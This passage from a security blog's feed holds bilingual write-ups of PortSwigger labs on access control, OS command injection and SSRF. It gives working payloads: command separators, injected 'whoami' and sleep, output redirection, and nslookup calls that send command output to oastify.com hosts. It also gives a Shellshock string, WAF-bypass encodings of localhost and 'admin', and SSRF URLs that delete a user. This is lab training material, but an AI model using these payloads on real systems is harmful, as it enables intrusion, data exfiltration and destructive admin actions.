<p><img src="/img2/Pasted%20image%2020250831134206.png" alt="" /></p>

<blockquote>
  <p>If we try the request with user Wiener from the root, i.e., with a Referer different from the admin, the server does not authorize it.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250831134311.png" alt="" /></p>

<blockquote>
  <p>By changing the Referer header to the admin panel path, privilege escalation is allowed.</p>
</blockquote>]]></content><author><name>PyUs3r</name><email>pyus3r@gmail.com</email><uri>https://linktr.ee/pyus3r</uri></author><category term="portswigger" /><category term="Web" /><category term="Burpsuite" /><category term="Access Control" /><summary type="html"><![CDATA[All Access control vulnerabilities labs of PortSwigger.]]></summary></entry><entry><title type="html">OS Command Injection - PortSwigger</title><link href="https://py-us3r.github.io/burp-writeup-oscommandinjection/" rel="alternate" type="text/html" title="OS Command Injection - PortSwigger" /><published>2025-09-24T00:00:00+00:00</published><updated>2025-09-24T00:00:00+00:00</updated><id>https://py-us3r.github.io/burp-writeup-oscommandinjection</id><content type="html" xml:base="https://py-us3r.github.io/burp-writeup-oscommandinjection/"><![CDATA[<h2 id="identification">Identification</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> &amp;&amp;
 &amp;
 ||
 |
 ;
 `
 '
 "
 0x0a
 \n
</code></pre></div></div>

<h2 id="inyección-de-comandos-caso-simple--os-command-injection-simple-case">Inyección de comandos, caso simple || OS command injection, simple case</h2>

<p><img src="/img2/Pasted%20image%2020250924172159.png" alt="" /></p>

<blockquote>
  <p>By corrupting the query, we see that we are within the context of command execution.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250924172249.png" alt="" /></p>

<blockquote>
  <p>We concatenate our command using a ;. The underlying command would look like this:</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sh <span class="nt">-c</span> bash /home/peter-GPnOhF/stockreport.sh 1 1<span class="p">;</span><span class="nb">whoami</span>
</code></pre></div></div>

<ul>
  <li>Injection</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">;</span><span class="nb">whoami</span>
</code></pre></div></div>
<h2 id="inyección-ciega-con-retrasos-temporales--blind-os-command-injection-with-time-delays">Inyección ciega con retrasos temporales || Blind OS command injection with time delays</h2>

<p><img src="/img2/Pasted%20image%2020250924180005.png" alt="" /></p>

<blockquote>
  <p>By using backticks, we execute a command to check if it is vulnerable.</p>
</blockquote>

<ul>
  <li>Injection</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="sb">`</span><span class="nb">sleep </span>10<span class="sb">`</span>
</code></pre></div></div>

<h2 id="inyección-ciega-con-redirección-de-salida--blind-os-command-injection-with-output-redirection">Inyección ciega con redirección de salida || Blind OS command injection with output redirection</h2>

<p><img src="/img2/Pasted%20image%2020250924183354.png" alt="" /></p>

<blockquote>
  <p>First, we detect command injection using a sleep.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250924183137.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250924183152.png" alt="" /></p>

<blockquote>
  <p>We send the output to a file inside the images directory <code class="language-plaintext highlighter-rouge">/var/www/images/</code>.</p>
</blockquote>

<ul>
  <li>Injection</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="sb">`</span><span class="nb">whoami</span><span class="sb">`</span> <span class="o">&gt;&gt;</span> /var/www/images/test.txt
</code></pre></div></div>

<h2 id="inyección-ciega-con-interacción-oob--blind-os-command-injection-with-out-of-band-interaction">Inyección ciega con interacción OOB || Blind OS command injection with out-of-band interaction</h2>

<p><img src="/img2/Pasted%20image%2020250924184546.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250924184559.png" alt="" /></p>

<blockquote>
  <p>In this case, we cannot force a delay in the response; however, we can detect the vulnerability via a DNS request.</p>
</blockquote>

<ul>
  <li>Injection</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="sb">`</span>nslookup 6ahsp7n9bzragcunrr7b18q6gxmpafy4.oastify.com<span class="sb">`</span>
</code></pre></div></div>

<h2 id="inyección-ciega-con-exfiltración-vía-interacción-oob--blind-os-command-injection-with-out-of-band-data-exfiltration">Inyección ciega con exfiltración vía interacción OOB || Blind OS command injection with out-of-band data exfiltration</h2>

<p><img src="/img2/Pasted%20image%2020250924184849.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250924184859.png" alt="" /></p>

<blockquote>
  <p>Just like the previous lab, we detect the vulnerability through a DNS request.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250924185022.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250924185053.png" alt="" /></p>

<blockquote>
  <p>By using the $() operator in Bash, we make a request to our domain using the output of the whoami command as a subdomain.</p>
</blockquote>

<ul>
  <li>Injección</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="sb">`</span>nslookup <span class="si">$(</span><span class="nb">whoami</span><span class="si">)</span>.c5iykdif65mgbiptmx2hwelcb3hw5mtb.oastify.com<span class="sb">`</span>
</code></pre></div></div>]]></content><author><name>PyUs3r</name><email>pyus3r@gmail.com</email><uri>https://linktr.ee/pyus3r</uri></author><category term="portswigger" /><category term="Web" /><category term="Burpsuite" /><category term="OS Command Injection" /><summary type="html"><![CDATA[All OS Command Injection labs of PortSwigger.]]></summary></entry><entry><title type="html">SSRF - PortSwigger</title><link href="https://py-us3r.github.io/burp-writeup-ssrf/" rel="alternate" type="text/html" title="SSRF - PortSwigger" /><published>2025-08-20T00:00:00+00:00</published><updated>2025-08-20T00:00:00+00:00</updated><id>https://py-us3r.github.io/burp-writeup-ssrf</id><content type="html" xml:base="https://py-us3r.github.io/burp-writeup-ssrf/"><![CDATA[<h2 id="ssrf-tips">SSRF Tips</h2>

<ul>
  <li>WAF URL Bypass</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://127.1/
http://127.0.0.2/
http://127.14.3.2/
http://localhOst/
http://0x7f000001/    &gt; HEXADECIMAL
http://2130706433/    &gt; DECIMAL
</code></pre></div></div>

<ul>
  <li>WAF DIRECTORY Bypass</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adMin
%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
</code></pre></div></div>

<h2 id="ssrf-básico-contra-servidor-local--basic-ssrf-against-the-local-server">SSRF básico contra servidor local || Basic SSRF against the local server</h2>

<p><img src="/img2/Pasted%20image%2020250816202751.png" alt="" /></p>

<blockquote>
  <p>Si hacemos una petición al localhost interno vemos que hay una ruta /admin.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250816202603.png" alt="" /></p>

<blockquote>
  <p>Dentro del directorio /admin tenemos la opción de borrar usuarios.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250816203351.png" alt="" /></p>

<ul>
  <li>Injection</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://localhost/admin/delete?username=carlos
</code></pre></div></div>

<h2 id="ssrf-básico-contra-sistema-interno--basic-ssrf-against-another-back-end-system">SSRF básico contra sistema interno || Basic SSRF against another back-end system</h2>

<p><img src="/img2/Pasted%20image%2020250817121557.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250817121629.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250817121736.png" alt="" /></p>

<blockquote>
  <p>Con la funcionalidad de ‘intruder’ hacemos un escaneo de puertos internos. En el escaneo encontramos el puerto 67 abierto.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250817122304.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250817122356.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250817122453.png" alt="" /></p>

<blockquote>
  <p>Sobre la ip encontrada en el escaneo anterior, podemos hacer un fuzzing de directorios para encontrar rutas internas.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250817122535.png" alt="" /></p>

<ul>
  <li>Injection</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://192.168.0.67:8080/admin/delete?username=carlos
</code></pre></div></div>

<h2 id="ssrf-básico-contra-sistema-interno--blind-ssrf-with-out-of-band-detection">SSRF básico contra sistema interno || Blind SSRF with out-of-band detection</h2>

<p><img src="/img2/Pasted%20image%2020250817123736.png" alt="" /></p>

<blockquote>
  <p>Al hacer varias peticiones en la web, vemos que se nos crea la cabecera ‘Referer’ la cual consiste en referenciar la url anterior, es decir la url desde donde haces la petición.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250817123821.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250817124017.png" alt="" /></p>

<blockquote>
  <p>Creamos nosotros una cabecera ‘Referer’ con nuestra propia url.</p>
</blockquote>

<ul>
  <li>Injection</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://6z6yin2a9d4a12xom2gj9456zx5otfh4.oastify.com
</code></pre></div></div>

<h2 id="ssrf-con-filtro-basado-en-blacklist--ssrf-with-blacklist-based-input-filter">SSRF con filtro basado en blacklist || SSRF with blacklist-based input filter</h2>

<p><img src="/img2/Pasted%20image%2020250818140811.png" alt="" /></p>

<blockquote>
  <p>Al intentar hacer una petición a un recurso interno, un WAF nos bloquea la petición.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250818140940.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250818141433.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250818141512.png" alt="" /></p>

<blockquote>
  <p>Tenemos varias formas de bypassear el WAF.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250818143129.png" alt="" /></p>

<blockquote>
  <p>Igual que antes vemos que hay un WAF que bloquea las peticiones que contengan el directorio admin.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250818143259.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250818143428.png" alt="" /></p>

<blockquote>
  <p>Para bypassear el WAF tenemos varias formas.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250818141956.png" alt="" /></p>

<ul>
  <li>Injection</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://localhoSt/adMin/delete?username=carlos
</code></pre></div></div>

<h2 id="bypass-ssrf-con-redirección-abierta--ssrf-with-filter-bypass-via-open-redirection-vulnerability">Bypass SSRF con redirección abierta || SSRF with filter bypass via open redirection vulnerability</h2>

<p><img src="/img2/Pasted%20image%2020250818154610.png" alt="" /></p>

<blockquote>
  <p>El parámetro ‘stockApi’ nos redirige al directorio que indiquemos dentro de la web.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250818154821.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250818154907.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250818154955.png" alt="" /></p>

<blockquote>
  <p>En la función ‘Next product’ encontramos que el parámetro ‘path’ es vulnerable a Open Redirect.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250818155128.png" alt="" /></p>

<blockquote>
  <p>Para lograr el SSRF combinamos la redirección a un recurso interno con el parámetro ‘stockApi’ con el Open Redirect.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250818155421.png" alt="" /></p>

<ul>
  <li>Injection</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/product/nextProduct?currentProductId=19%26path=http://192.168.0.12:8080/admin/delete?username=carlos
</code></pre></div></div>

<h2 id="ssrf-ciego-explotando-shellshock--blind-ssrf-with-shellshock-exploitation">SSRF ciego explotando Shellshock || Blind SSRF with Shellshock exploitation</h2>

<p><img src="/img2/Pasted%20image%2020250818163446.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250818163516.png" alt="" /></p>

<blockquote>
  <p>Detectamos que la cabecera ‘Referer’ es vulnerable a Blind SSRF.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250818163703.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250818163751.png" alt="" /></p>

<blockquote>
  <p>Detectamos que hay una vulnerabilidad Shellshock ejecutando el comando ‘nslookup’ en una ip interna por el puerto 8080.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250818163955.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250818164039.png" alt="" /></p>

<blockquote>
  <p>Para ver el output del comando ‘whoami’, podemos hacer uso de la función ‘$() como si fuera un subdominio de nuestro burp colaborator.</p>
</blockquote>

<ul>
  <li>Injection</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>() { :; }; /usr/bin/nslookup $(whoami).0hi18rwwqo678r7xf01w6ktam1ssgq4f.oastify.com
</code></pre></div></div>

<h2 id="ssrf-con-filtro-basado-en-whitelist--ssrf-with-whitelist-based-input-filter">SSRF con filtro basado en whitelist || SSRF with whitelist-based input filter</h2>

<p><img src="/img2/Pasted%20image%2020250818174226.png" alt="" /></p>

<blockquote>
  <p>Vemos que se está empleando un WAF, el cual solo permite peticiones al dominio ‘stock.weliketoshop.net’.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250818174526.png" alt="" /></p>

<blockquote>
  <p>Tenemos la opción de autenticar un usuario en la url, podemos usar esta opción para aprovecharnos.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250818174654.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250818174747.png" alt="" /></p>

<blockquote>
  <p>Para que la web nos interprete la url ‘localhost’, podemos hacer uso del hash ‘#’, el cual convertiría el dominio requerido por un directorio ‘vacío’ /#stock.weliketoshop.net. De esta forma respetamos la sintaxis de la autenticación permitida. Para que la web interprete el ‘/#’ como parte de la misma url, tenemos que hacer un doble URL encode.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250818175048.png" alt="" /></p>

<ul>
  <li>Injection</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://localhost%25%32%66%25%32%33@stock.weliketoshop.net/admin/delete?username=carlos
</code></pre></div></div>]]></content><author><name>PyUs3r</name><email>pyus3r@gmail.com</email><uri>https://linktr.ee/pyus3r</uri></author><category term="portswigger" /><category term="Web" /><category term="Burpsuite" /><category term="SSRF" /><summary type="html"><![CDATA[All Server-side request forgery labs of PortSwigger.]]></summary></entry></feed>